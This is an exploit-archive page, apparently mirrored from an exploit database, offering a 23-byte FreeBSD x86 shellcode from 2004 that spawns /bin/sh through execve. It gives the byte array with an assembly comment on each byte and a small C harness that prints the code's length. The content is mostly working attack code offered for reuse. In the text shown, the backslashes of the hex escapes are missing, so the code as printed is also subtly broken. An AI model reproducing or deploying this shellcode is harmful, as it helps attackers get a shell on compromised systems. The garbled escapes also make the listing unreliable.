[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : freebsd/x86 execve /bin/sh 23 bytes
# Published : 2004-09-26
# Author : marcetam
# Previous Title : bsdi/x86 execve /bin/sh toupper evasion 97 bytes
# Next Title : freebsd/x86 execve /bin/sh 37 bytes


/* FreeBSD 23 byte execve code. Greetz to anathema, the first who published  *
 * this way of writing shellcodes.                                           *
 *  greetz to preedator                              marcetam                *
 *                                                admin@marcetam.net         *
 ****************************************************************************/

char fbsd_execve[]=
  "x99"                  /* cdq              */
  "x52"                  /* push %edx        */
  "x68x6ex2fx73x68"  /* push $0x68732f6e */
  "x68x2fx2fx62x69"  /* push $0x69622f2f */
  "x89xe3"              /* movl %esp,%ebx   */
  "x51"                  /* push %ecx - or %edx :) */
  "x52"                  /* push %edx - or %ecx :) */
  "x53"                  /* push %ebx        */
  "x53"                  /* push %ebx        */
  "x6ax3b"              /* push $0x3b       */
  "x58"                  /* pop %eax         */
  "xcdx80";             /* int $0x80        */

int main() {
  void (*run)()=(void *)fbsd_execve;
  printf("%d bytes n",strlen(fbsd_execve));
}

// www.Syue.com [2004-09-26]